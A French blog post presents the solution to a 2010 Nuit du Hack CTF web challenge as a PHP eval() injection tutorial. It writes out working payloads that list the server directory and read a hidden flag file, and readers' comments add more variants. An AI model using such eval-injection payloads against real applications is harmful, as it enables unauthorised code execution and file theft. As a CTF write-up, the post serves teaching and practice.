dimanche 20 juin 2010

tutoriel injection PHP - solution CTF public nuit du hack 2010 Web App #2

Une page PHP dont le code n'échappe pas les caractères des variables obtenues par requête http peut entrainer l'exécution de code non souhaité sur le serveur. Ce tutoriel illustre un exemple d'exploitation d'injection PHP sur la fonction eval() au travers de la solution du capture the flag (CTF) public nuit du hack 2010 Web App #2

l'épreuve


L'épreuve consiste en un formulaire qui renvoit les données de l'utilisateur modifiées.


étude

Jetons un oeil au code source de la page

< head>
    < title>...< /title>
    < style>
(...)
    < /style>
< /head>

< body onload="javascript:document.forms[0].cmd.focus();">
< div id="console">
    < div>Date & Heure - Entrez l'un des codes suivant pour obtenir l'information qu'il représente :< /div>

        < ul>
            < li>d : numéro du jour< /li>
            < li>m : numéro du mois< /li>
            < li>Y : année< /li>
            < li> < /li>
            < li>H : heure< /li>
            < li>i : minute< /li>

        < /ul>
        < hr />

< b>>< /b> '< br />'< br />< br />
    < form method="post" action="">
        < b>>< /b> < input type="text" name="cmd" value="" />
    < /form>
< /div>
< /body>

< /html>

Il nous apprend simplement que les données entrées sont envoyées en post.

Voyons les échanges entre le serveur et le client, avec http live headers

POST / HTTP/1.1
Host: 192.168.3.200:8087
User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.3.200:8087/
Cookie: PHPSESSID=b37fafc391eab022bfbf114070d1ed1d
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
cmd=essai
HTTP/1.1 200 OK
Date: Fri, 18 Jun 2010 14:28:21 GMT
Server: Apache/2.2.9 (Debian) mod_python/3.3.1 Python/2.5.2 mod_perl/2.0.4 Perl/v5.10.0
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 735
Keep-Alive: timeout=15, max=97
Connection: Keep-Alive
Content-Type: text/html
Nous n'apprenons rien de nouveau.

injection de caractère anormal

Voyons si on injecte des caractères. Une erreur survient lorsqu'on entre ". Elle nous apprend qu'une injection PHP est possible sur une fonction eval()


Cette fonction eval sert à évaluer du code PHP. En l'occurence, ce code doit manipuler la fonction date() puisque c'est ce qu'on nous demande dans le formulaire. Cette fonction ressemble à: String date(String). On peut donc imaginer que le code PHP de la page ressemble à:
eval("date("$a")");

Voyons ce qui se passe si on injecte:
"); phpinfo();//

Dans ce cas le code PHP de la page devient:
eval( "date(""); phpinfo();//")" );

Le code qui est évalué est donc:
date("");
phpinfo();


listons le contenu du répertoire
>
");
print_r (scandir('.'));
//
Array ( [0] => . [1] => .. [2] => _fl4g_.php [3] => index.php )

Remarque: la page _fl4g_.php ne renvoie rien: (http://192.168.3.200:8087/_fl4g_.php dans le navigateur)

astuce n°1 copier le fichier _fl4g_.php? raté...

copy() est désactivée.
>
");
if(!copy('_fl4g_.php','flag.txt')) {
  echo "raté";
} //

Warning: copy() has been disabled for security reasons in /var/www/epreuves/SimpleWeb2/www/index.php(64) : eval()'d code on line 1
raté

astuce n°2: ouvrir le fichier _fl4g_.php avec fopen? raté...

fopen() est désactivée.
>
");
if (!$fp = fopen("http://192.168.3.200:8087/_fl4g_.php","r")) {
  echo "raté";
}
if ($fp) {
  while (!feof($fp)) {
    echo fgets($fp, 4096);
  }
}//

Warning: fopen() has been disabled for security reasons in /var/www/epreuves/SimpleWeb2/www/index.php(64) : eval()'d code on line 1
raté

Remarque: si fopen avec fonctionné nous aurions pu utiliser aussi fpassthru()
>
");
if (!$fp = fopen("http://192.168.3.200:8087/_fl4g_.php","r")) { echo "raté"; }
if ($fp) { echo fpassthru($fp); }
//

astuce n°3: ouvrir le fichier _fl4g.php avec file_get_contents()? ok!

");
echo file_get_contents("_fl4g_.php");
//

Jetons un oeil dans le code source (CTRL-U). Bingo!

astuce n°4: de même avec file()? ok!

>
");
$fichier = "_fl4g_.php";
if (is_file($fichier)) {
  if ($TabFich = file($fichier)) {
    for ($i = 0; $i < count($TabFich); $i++)
      echo $TabFich[$i];
  }
}
else {
  echo "raté";
}
//

astuce n°5 le résultat est dans le code source de la page générée

Jetons là encore un coup d'oeil au code source. Nous y trouvons le flag!

7 commentaires:

  1. Comment trouver _fl4g_.php

    RépondreSupprimer
  2. Bonjour,
    réponse à la question "Comment trouver _fl4g_.php?":
    En listant le contenu du répertoire courant avec l'injection:

    ");print_r (scandir('.'));//

    RépondreSupprimer
  3. on ne devrait pas chercher à obtenir la chaine:
    eval( "date(""); phpinfo();");//")");
    pour que la syntaxe soit correcte?!

    RépondreSupprimer
  4. de même avec readfile()?

    "); echo readfile("_fl4g_.php"); //

    RépondreSupprimer
  5. @anonyme
    Ce n'est pas évident à répondre au premier abord. Pour moi, tapez ceci :
    "); phpinfo();");//
    rend ta syntaxe bonne dans le script php principal (index.php) mais fausse dans le script evalué parce que eval va exécuter :
    - date("");
    - phpinfo();
    - ");
    Et la dernière instruction "); va provoquer une erreur de syntaxe.


    Alors qu'avec : "); phpinfo(); //
    Ta syntaxe dans le script principal sera :
    eval("date(\"\"); phpinfo(); //\");");
    Les 2 slahs dans une chaine "//" n'ont leur rôle de commentaire uniquement lors de l'éval et pas dans le script principal.

    La fonction eval executera donc ceci :
    - date(""); excuter la fonction date
    - phpinfo(); afficher phpinfo
    - //\"); ne pas interpréter ce qu'il y'a après les deux slashs.

    RépondreSupprimer
  6. <-- "window.close()-->

    RépondreSupprimer
  7. "); echo htmlentities(file_get_contents('_fl4g_.php')); //

    RépondreSupprimer